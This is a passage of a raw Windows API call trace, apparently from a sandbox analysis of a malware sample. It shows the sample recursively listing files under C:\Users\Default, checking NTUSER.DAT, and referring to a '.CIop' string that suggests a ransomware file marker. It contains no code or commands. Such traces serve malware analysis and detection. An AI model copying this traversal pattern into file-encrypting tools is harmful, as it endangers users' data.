lpFindFileData=0x2dc7bb0) returned 0 [0118.062] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0118.062] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0118.062] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.062] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.062] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.063] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.063] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.063] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0118.063] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0118.063] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0118.063] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0118.063] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0118.063] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.063] SetErrorMode (uMode=0x1) returned 0x1 [0118.063] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.063] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.063] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.063] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0118.063] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0118.063] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0118.063] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0118.063] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0118.063] lstrlenW (lpString="ntuser.dat") returned 10 [0118.063] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.063] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1 [0118.063] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1 [0118.063] lstrlenW (lpString="ntuser.dat") returned 10 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1 [0118.064] lstrlenW (lpString="ntuser.dat") returned 10 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0118.064] lstrlenW (lpString="ntuser.dat") returned 10 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0118.064] lstrlenW (lpString="ntuser.dat") returned 10 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0118.064] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0118.064] lstrlenW (lpString="ntuser.dat") returned 10 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.064] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0118.064] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0118.064] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.064] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0118.064] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0118.064] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0118.064] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.064] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.064] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0118.064] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0118.064] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.064] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0118.065] SetErrorMode (uMode=0x1) returned 0x1 [0118.065] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0118.065] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0118.065] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.065] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0118.065] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0118.065] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.065] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0118.065] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.065] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0118.065] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0118.065] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.065] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.065] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0118.065] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0118.065] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0118.065] SetErrorMode (uMode=0x1) returned 0x1 [0118.065] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0118.065] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0118.065] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0118.065] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.065] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0118.065] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0118.065] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.066] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0118.066] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.066] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0118.066] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0118.066] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.066] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.066] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0118.066] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0118.066] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0118.066] SetErrorMode (uMode=0x1) returned 0x1 [0118.066] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0118.066] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0118.066] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.066] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0118.066] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0118.066] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.066] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0118.066] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.066] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0118.066] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0118.066] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.066] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.066] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0118.066] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0118.066] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0118.066] SetErrorMode (uMode=0x1) returned 0x1 [0118.066] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0118.066] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0118.066] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0118.067] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.067] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0118.067] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0118.067] lstrlenW (lpString="Desktop") returned 7 [0118.067] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.067] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0118.067] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0118.067] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.067] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0118.067] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0118.067] lstrlenW (lpString="Desktop") returned 7 [0118.067] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.067] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.067] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0118.067] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0118.067] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.067] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.067] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.067] SetErrorMode (uMode=0x1) returned 0x1 [0118.067] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.067] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0118.067] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0118.067] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0118.067] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.068] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0118.068] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0118.068] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.068] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.068] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.068] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.068] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.068] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.068] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.069] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.069] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0118.069] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.069] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0118.069] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0118.069] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.069] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.069] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.069] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0118.069] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0118.069] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.069] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0118.069] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0118.069] SetErrorMode (uMode=0x1) returned 0x1 [0118.069] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0118.069] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0118.069] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0118.069] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0118.069] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.070] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0118.070] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0118.070] lstrlenW (lpString=".CIop") returned 5 [0118.070] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0118.070] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.070] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0118.070] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0118.070] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.070] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.070] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0118.070] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0118.070] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0118.070] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0118.070] SetErrorMode (uMode=0x1) returned 0x1 